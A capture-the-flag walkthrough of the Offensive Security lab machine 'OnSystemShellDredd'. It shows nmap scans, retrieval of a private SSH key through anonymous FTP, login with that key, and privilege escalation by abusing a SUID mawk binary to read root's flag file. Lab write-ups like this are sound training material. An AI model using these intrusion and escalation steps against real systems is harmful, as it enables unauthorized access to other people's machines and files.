Offensive Security – OnSystemShellDredd

Alberto Gómez

First, I did a *nmap* scan:

```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn 192.168.51.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 06:30 EDT
Nmap scan report for 192.168.51.130
Host is up (0.079s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp

Nmap done: 1 IP address (1 host up) scanned in 15.99 seconds
```

We can do anonymous login on the FTP server. In it, we can find a hidden folder with a '*id_rsa*' file inside.

```
┌──(kali㉿kali)-[~]
└─$ ftp 192.168.51.130
Connected to 192.168.51.130.
220 (vsFTPd 3.0.3)
Name (192.168.51.130:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||58008|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .hannah
226 Directory send OK.
ftp> cd .hannah
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||49760|)
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa
226 Directory send OK.
ftp> get id_rsa
local: id_rsa remote: id_rsa
229 Entering Extended Passive Mode (|||47562|)
150 Opening BINARY mode data connection for id_rsa (1823 bytes).
100% |*****************************************************************************************
226 Transfer complete.
1823 bytes received in 00:00 (34.41 KiB/s)
ftp> exit
221 Goodbye.
```

The *id_rsa* file is a private key. We can assume that we could use it to login with a '*hannah*' user and her private key. However, *nmap* didn't find any other service. Let's try a more exhaustive scan:

```
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p- -T5 192.168.51.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 06:31 EDT
Warning: 192.168.51.130 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.51.130
Host is up (0.049s latency).
Not shown: 60683 closed tcp ports (conn-refused), 4850 filtered tcp ports (no-response)
PORT      STATE SERVICE
21/tcp    open  ftp
61000/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 197.10 seconds
```

We found another open port, let's check the service:

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -p61000 -sV 192.168.51.130
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 06:39 EDT
Nmap scan report for 192.168.51.130
Host is up (0.048s latency).

PORT      STATE SERVICE VERSION
61000/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.51 seconds
```

And log in:

```
┌──(kali㉿kali)-[~]
└─$ ssh -p 61000 hannah@192.168.51.130 -i id_rsa
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
hannah@ShellDredd:~$
```

On the user's home folder, we find the flag:

```
hannah@ShellDredd:~$ cat local.txt
9f1f25cd77db298e40064f6447200c3d
hannah@ShellDredd:~$
```

If we look for SUID files, we find the mawk command:

```
hannah@ShellDredd:~$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \;
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 84016 Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44440 Jul 27  2018 /usr/bin/newgrp
-rwsr-xr-x 1 root root 34888 Jan 10  2019 /usr/bin/umount
-rwsr-sr-x 1 root root 121976 Mar 23  2012 /usr/bin/mawk
```

In we look it up on GTFOBins (https://gtfobins.github.io/gtfobins/mawk/), we can see a privilege escalation vector if it has the SUID bit enabled:

SUID

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run `sh -p`, omit the `-p` argument on systems like Debian (<= Stretch) that allow the default `sh` shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.

```
sudo install -m =xs $(which mawk) .

LFILE=file_to_read
./mawk '//' "$LFILE"
```

Let's use it to read files as the root user. That way we can read the final flag:

```
hannah@ShellDredd:~$ LFILE=/root/proof.txt
hannah@ShellDredd:~$ mawk '//' "$LFILE"
9882c6add3d20dc864d4fa79153043e1
hannah@ShellDredd:~$
```